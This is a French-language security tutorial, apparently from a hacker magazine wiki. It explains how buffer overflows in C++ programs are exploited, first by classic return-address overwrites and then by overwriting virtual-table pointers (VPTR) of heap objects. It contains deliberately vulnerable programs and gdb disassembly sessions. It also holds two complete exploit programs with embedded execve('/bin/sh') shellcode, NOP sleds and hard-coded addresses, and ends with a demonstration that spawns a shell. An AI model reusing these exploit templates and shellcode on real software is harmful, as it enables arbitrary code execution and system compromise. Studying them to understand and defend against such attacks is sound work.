THM12/Les vecteurs d'exploitation du Cpp
Un article de HackaWiki.
Sommaire |
Les vecteurs d'exploitation du C++
VPTR for fun and profit
Les développeurs, mieux informés, font beaucoup plus attention aux bugs de débordement de tampon (ou Buffer Overflow) qu'il y a quelques années. Ils ne réalisent cependant pas toujours que les dangers du C sont les mêmes en C++. En réalité, ce dernier ouvre à des possibilités d'exploitation supplémentaires que nous détaillons ici.
Wild
By Hackademy
Depuis l'article de AlpheOne dans Phrack 49[1], les buffers overflows se sont largement généralisés et banalisés. Beaucoup de logiciels sont maintenant programmés en C++. Or les failles y sont autant exploitable qu'en C, puisque celui-ci n'est qu'une surcouche de ce dernier.
Le C++ est un langage orienté objet. Or ces objets, alloués dynamiquement, compliquent l'exploitation des buffers overflows. En effet, on ne peut pas écraser d'adresse de retour car nous ne nous trouvons pas dans la pile (certes, le programme crash quand même). Une méthode consiste à faire déborder les tampons pour écraser d'autres structures internes du C++, les Virtual Pointeur (VPTR). Cette technique se base donc aussi sur l'écrasement de pointeur, mais elle est plus difficile à maîtriser.
Nous reviendrons dans un premier temps sur l'exploitation classique des buffer overflows, puis nous nous attarderons sur ces VPTR.
Prérequis : cette article nécessite des bases en C, C++ et asm. Tous les tests ont été effectué sur x86 sous Linux 2. 4. 26 (Debian), avec le compilateur gcc/g++ 3. 3. 3.
I. Rappels
I.1 Débordement
Voyons un programme classique vulnérable:
/* vuln1. cpp */
/* Compilation */
/* g++ -g -o vuln1 vuln1. cpp */
1 #include <stdio. h>
2 #include <string. h>
4 class Bo {
5 private:
6 char Buffer[128];
7 public:
8 void SetBuffer(char *String) {
9 strcpy(Buffer, String); // Fonction dangereuse !!
10 }
11 };
12 int main(int argc, char *argv[]){
13 Bo Objet; // Création d'un objet de la classe Bo
14 Objet.SetBuffer(argv[1]);
15 }
Nous voyons ici, ligne 9, que nous sommes en présence d'un buffer overflow, puisque qu'aucun test n'est effectué pour vérifier que la longueur de String ne dépasse pas celle de Buffer (128). Ainsi, si nous passons un argument de taille plus grande que Buffer nous écraserons le registre eip (voir l'encadré pour une contre mesure).
x@home:~/c++$ gdb -q . /vuln1
(gdb) run `perl -e "print('A'x128)"`
Starting program: /home/x/c++/vuln1 `perl -e "print('A'x100)"`
Program exited normally.
(gdb) run `perl -e "print('A'x144)"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/x/c++/vuln1 `perl -e "print('A'x144)"`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg eip
eip 0x41414141 0x41414141
Nous voyons bien que nous pouvons écraser eip (adresse de retour), pour rediriger ce programme à l'adresse que nous désirons.
I.2 Redirection
Directement dans le buffer
Nous pouvons exploiter ce programme en mettant un shellcode dans le buffer. Nous écraserons ainsi eip avec l'adresse de ce buffer, de manière à faire exécuter notre code (voir figure 1).
Illustration
Image : vptr1.jpg
Légende : Figure 1 : shellcode dans le buffer
Dans l'environement
Il est plus facile de mettre le shellcode dans l'environnement, surtout quand le buffer est trop petit pour contenir celui ci (figure 2). Cela permet aussi d'éviter de chercher l'adresse du buffer dans la pile.
Illustration
Image : vptr2.jpg
Légende : Figure 2: shellcode dans l'environnement
Return into libc
Nous pouvons aussi exploiter ce bof par return into libc [2], qui consiste à rebondir sur des adresses connues de la libc, afin d'utiliser d'en utiliser des fonctions (figure 3).
Pour ce qui est de la résolution des adresses des fonctions, reportez vous à [2], ce n'est pas le but de cette article. Sachez tout de même que l'adresse est différente si le programme a été compilé avec gcc ou g++.
Illustration
Image : vptr3.jpg
Légende : Figure 3: system("/bin/sh") par return into libc
Pour comparer avec l'exemple donné à la fin de cet article, voici comment on peut coder un exploit pour cette vulnérabilité classique.
/* SploitVuln1. cpp */
/* Compilation */
/* gcc -o sploitVuln1 sploitVuln1. cpp */
#include <stdlib. h>
#define BUFFER_LEN 128
#define OVERFLOW 16
int main() {
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40"
"\xcd\x80\xe8\xdc\xff\xff\xff"
"/bin/sh";
char addrbuffer[] = "\x10\xf8\xff\xbf"; // adresse du buffer
char buffer[256];
int i, j;
// on copie les NOP
for (i = 0;
i < ((BUFFER_LEN+OVERFLOW)
-(strlen(addrbuffer)+strlen(shellcode))); i++)
buffer[i] = '\x90';
// on copie le shellcode
for (j = 0; shellcode[j]; j++, i++)
buffer[i] = shellcode[j];
// on copie l'adresse du buffer
for (j = 0; addrbuffer[j]; j++, i++)
buffer[i] = addrbuffer[j];
// On lance . /vuln1 avec comme argument
// le buffer que l'on vient de construire
execl(". /vuln1", "vuln1", buffer, NULL);
}
Ces trois techniques sont rendues inefficaces, entre autre, par les mécanismes de randomisation de PaX, du fait que l'on ne connaît pas exactement les adresses vers lesquelles on veut rebondir. Voir page 12.
II. 1 Classes abstraites et méthodes virtuelles
Examinons maintenant quelques particularité de la programmation objet en C++. Voir l'encadré, pour ceux qui sont peu habitués à la programmation objet.
Dans certains cas, on souhaite définir une classe abstraite : une classe permettant, par exemple, de factoriser des éléments, en général. Ces classes ne peuvent pas être instanciées (on ne peut pas créer d'objet). Elle sont seulement héritables.
Un bon exemple de ce mécanisme est la classe abstraite Tableau ci-dessous. Elle représente un tableau composé d'éléments dont on ne veut pas définir le type a priori. On donne cependant des méthodes générales relatives à un tableau, qui ne changent pas, quelque soit le type des éléments, par exemple : l'afficher. La seule chose qui change, c'est la manière d'afficher un élément indépendant, et cette méthode sera justement définie dans des sous-classes dépendantes du type.
Exemple:
class Tableau {
public:
int taille;
// Méthode virtuelle pure disant au compilateur
// qu'on ne peut pas instancier cette classe
virtual void afficherElem(int position) = 0;
void afficherTableau(){
for(int i=0;i<taille;i++)
afficherElem(i); // À implémenter en fonction du type
}
};
class TableauInt : public Tableau{
public:
int tab[TAILLE];
void afficherElem(int position){
printf("%d \n", tab[position]);
}
};
class TableauChar : public Tableau{
public:
char tab[TAILLE];
void afficherElem(int position){
printf("%c \n", tab[position]);
}
};
//Tableau tab1; // Refusé par le compilateur
TableauInt tabint1;
TableauChar tabchar1;
tabint1. afficherTableau(); // Utilise TableauInt::afficherElem
tabchar1. afficherTableau(); // Utilise TableauChar::afficherElem
La méthode afficherTableau() de la classe abstraite Tableau se contente d'appeler afficherElem() qui est propre pour chaque type de tableau, car afficher un entier ou un caractère n'est pas pareil.
Pour séléctionner la bonne méthode, le compilateur effectue une ligature dynamique, c'est à dire que l'appel de la fonction afficherElem va changer suivant le type d'objet.
II. 2 Comment ça marche ?
Un exemple valant mieux qu'on long discours :
// BigVuln. cpp //
// g++ -o BigVuln BigVuln. cpp
1 #include <stdio. h>
2 #include <string. h>
3 class ClassMere {
4 public:
5 char Buffer[256];
6 void SetBuffer(char *String) {
7 strcpy(Buffer, String);
8 }
9 virtual void PrintBuffer()=0;
10 };
12 class ClassFille1:public ClassMere {
13 public:
14 void PrintBuffer() {
15 printf("ClassFille1: %s\n", Buffer);
16 }
17 };
19 class ClassFille2:public ClassMere {
20 public:
21 void PrintBuffer() {
22 printf("ClassFille2: %s\n", Buffer);
23 }
24 };
26 int main(int arc, char *argv[]) {
27 ClassMere *Object[2];
29 Object[0] = new MyClass1;
30 Object[1] = new MyClass2;
32 Object[0]->SetBuffer(argv[1]);
33 Object[1]->SetBuffer("THJ");
34 Object[0]->PrintBuffer();
35 Object[1]->PrintBuffer();
37 delete Object[0];
38 delete Object[1];
39 }
La méthode SetBuffer étant virtuelle, le compilateur la remplace par un pointeur (VPTR) qui pointe dans un tableau de pointeur de fonctions (VTABLE), et ces pointeurs pointent sur la méthode à exécuter (voir figure 4).
Illustration
Image : vptr4.jpg
Légende : Figure 4: Utilisation de VTABLE pour séléctionner la bonne méthode
Nous voyons à travers le schéma que si nous pouvons écraser le VPTR de la class classFille1 ou classFille2, nous pouvons exécuter le code de notre choix.
Dans cette exemple il est impossible d'écraser le VPTR de Object[0], car celui ci se trouve avant le buffer que nous pouvons faire déborder. Nous pouvouns par contre écraser le VPTR de la classFille2 (Object[1]) par une adresse qui pointe sur un pointeur situe au début du Buffer de la classFille1 (Object[0]), qui lui même pointe sur le shellcode placé un peu plus loin dans le buffer (Ouf :p ).
Par rapport à une exploitation classique de pointeur il y a juste une étape de plus.
Pour résumer on peut dire que l'on construit en fait un faux VPTR pointant sur une fausse VTABLE.
Bon c'est bien beau la théorie mais comment on fait en pratique ?
II. 3 Coding Time
Avant de se lancer dans la réalisaton d'un exploit, essayons d'analyser un minimum le programme vulnérable en le désassemblant.
x@home:~/c++$ gdb -q ./BigVuln
(gdb) disassemble main
Dump of assembler code for function main:
0x080485c4 <main+0>: push %ebp
0x080485c5 <main+1>: mov %esp, %ebp
0x080485c7 <main+3>: push %ebx
0x080485c8 <main+4>: sub $0x14, %esp
0x080485cb <main+7>: and $0xfffffff0, %esp
0x080485ce <main+10>: mov $0x0, %eax
0x080485d3 <main+15>: sub %eax, %esp
0x080485d5 <main+17>: movl $0x104, (%esp)
0x080485dc <main+24>: call 0x80484dc <_Znwj>
0x080485e1 <main+29>: mov %eax, %ebx
0x080485e3 <main+31>: mov %ebx, (%esp)
0x080485e6 <main+34>: call 0x8048692 <_ZN11ClassFille1C1Ev>
0x080485eb <main+39>: mov %ebx, %eax
0x080485ed <main+41>: mov %eax, 0xfffffff0(%ebp)
0x080485f0 <main+44>: movl $0x104, (%esp)
0x080485f7 <main+51>: call 0x80484dc <_Znwj>
0x080485fc <main+56>: mov %eax, %ebx
0x080485fe <main+58>: mov %ebx, (%esp)
0x08048601 <main+61>: call 0x80486ae <_ZN11ClassFille2C1Ev>
0x08048606 <main+66>: mov %ebx, %eax
0x08048608 <main+68>: mov %eax, 0xfffffff4(%ebp)
0x0804860b <main+71>: mov 0xc(%ebp), %eax
0x0804860e <main+74>: add $0x4, %eax
0x08048611 <main+77>: mov (%eax), %eax
0x08048613 <main+79>: mov %eax, 0x4(%esp)
0x08048617 <main+83>: mov 0xfffffff0(%ebp), %eax
0x0804861a <main+86>: mov %eax, (%esp)
0x0804861d <main+89>: call 0x8048674 <_ZN9ClassMere9SetBufferEPc>
0x08048622 <main+94>: movl $0x8048838, 0x4(%esp)
0x0804862a <main+102>: mov 0xfffffff4(%ebp), %eax
0x0804862d <main+105>: mov %eax, (%esp)
0x08048630 <main+108>: call 0x8048674 <_ZN9ClassMere9SetBufferEPc>
0x08048635 <main+113>: mov 0xfffffff0(%ebp), %eax
0x08048638 <main+116>: mov (%eax), %edx
0x0804863a <main+118>: mov 0xfffffff0(%ebp), %eax
0x0804863d <main+121>: mov %eax, (%esp)
0x08048640 <main+124>: mov (%edx), %eax
0x08048642 <main+126>: call *%eax
0x08048644 <main+128>: mov 0xfffffff4(%ebp), %eax
0x08048647 <main+131>: mov (%eax), %edx
0x08048649 <main+133>: mov 0xfffffff4(%ebp), %eax
0x0804864c <main+136>: mov %eax, (%esp)
0x0804864f <main+139>: mov (%edx), %eax
0x08048651 <main+141>: call *%eax
0x08048653 <main+143>: mov 0xfffffff0(%ebp), %eax
0x08048656 <main+146>: mov %eax, (%esp)
0x08048659 <main+149>: call 0x804849c <_ZdlPv>
0x0804865e <main+154>: mov 0xfffffff4(%ebp), %eax
0x08048661 <main+157>: mov %eax, (%esp)
0x08048664 <main+160>: call 0x804849c <_ZdlPv>
0x08048669 <main+165>: mov $0x0, %eax
0x0804866e <main+170>: mov 0xfffffffc(%ebp), %ebx
0x08048671 <main+173>: leave
0x08048672 <main+174>: ret
0x08048673 <main+175>: nop
End of assembler dump.
En main+24, le programme appel <_Znwj>(new) qui réserver 246 bytes dans le tas, puisque nous allouons dynamiquement les objets (movl $0x104, (%esp)). Nous pourrons avoir l'adresse de Object[0] en consultant après l'appel de cette fonction, le registre eax.
Le constructeur de Object[0] est appelé en main+34 (call 0x8048692 <_ZN11ClassFille1C1Ev> - le 11 au début de ce nom représe la longueur du nom de la classe).
La même chose est effectué pour Object[1] en main+51 et main+61.
Nous allons poser deux breakpoint en main+29 et main+56 de manière à consulter eax pour pouvoir avoir l'adresse des deux objets. Les objets sont libérés (delete) en main+149 et main+160 respectivement pour Object[0] et Object[1].
(gdb) b *main+29 Breakpoint 1 at 0x80485e1 (gdb) b *main+56 Breakpoint 2 at 0x80485fc (gdb) r THM Starting program: /home/x/c++/BigVuln THM Breakpoint 1, 0x080485e1 in main () (gdb) info reg eax eax 0x8049b48 134519624 (gdb) c Continuing. Breakpoint 2, 0x080485fc in main () (gdb) info reg eax eax 0x8049c50 134519888 (gdb) c Continuing. ClassFille1: THM ClassFille2: THJ Program exited normally. (gdb)
Donc Object[0] se trouve en 0x8049b48 et Object[1] en 0x8049c50. Le VPTR du premier objet va de 0x8049b48 à 0x8049b4c, puisque un pointeur a une taille de 4 bytes.
De 0x8049c50 à 0x8049c54 se trouve le VPTR du deuxième objet, que nous devons écraser.
Comme dit précédemment, nous devons mettre dans ce VPTR l'adresse du début du buffer qui lui même contient l'adresse du shellcode (figure 5).
Illustration
Image : vptr5.jpg
Légende : Figure 5 : notre stratégie
// sploit_BigVuln. c
// gcc -o sploit_BigVuln sploit_BigVuln. c
#include <stdio. h>
#include <malloc. h>
#define ADDRESSE 0x8049b4c // Adresse du buffer
#define LONG 260 // Longueur pour écraser le VPTR
char shellcode[] = "\x33\xc0\x31\xdb\xb0\x17\xcd\x80\xeb"
"\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"
"\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08"
"\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff"
"\xff/bin/sh";
int main(int argc, char *argv[]){
char *buffer;
unsigned long *pBuffer;
int i, j;
buffer=(char *)malloc(LONG); // Alloue LONG bytes
memset(buffer, '\x90', LONG); // Remplie le buffer de NOP
pBuffer = (unsigned long*)buffer; // pBuffer pointe sur buffer
// Met l'adresse de l'emplacement du shellcode au début du buffer
pBuffer[0] = ADDRESSE+24;
// Copie le shellcode à l'adresse buffer+24
for (i=20, j=0;shellcode[j];i++, j++)
buffer[i] = shellcode[j];
// pBuffer pointe sur la fin du buffer
pBuffer=(unsigned long *)&buffer[LONG];
// Ecrase le VPTR de classFille2 par l'adresse du début du buffer
*pBuffer = ADDRESSE;
return execl(". /BigVuln", "BigVuln", buffer, NULL);
}
La figure 6 montre à quoi ressemble le buffer crée par ce programme.
Illustration
Image : vptr6.jpg
Légende : Figure 6 : Le buffer de l'exploit
Démonstration:
x@home:~/c++$ . /sploit_BigVuln ClassFille1: ë^1ÀFF N° HJ sh-2. 05b$
Nous voyons très bien ici que le PrintBuffer() de la classFille1 est exécuté puis, quand le programme veut exécuter celui de la classFille2, il lance notre shellcode.
CONCLUSION
Nous avons ici démontré dans cette article que le C++ apporte beaucoup de fonctionnalité, mais si celle ci sont mal utilisées, il s'avère que cela crée encore plus de méthodes exploitations. Il faut cependant des conditions d'exploitation assez particulière, puisque le compilateur (gcc en tout cas) place ces VPTR au début de l'objet.
Greetz: à iden, dvrasp, wich, l'iris et aux petits loups.
Référence:
[1] http://phrack. org/phrack/49/P49-14
[2] http://phrack. org/phrack/58/p58-0x04
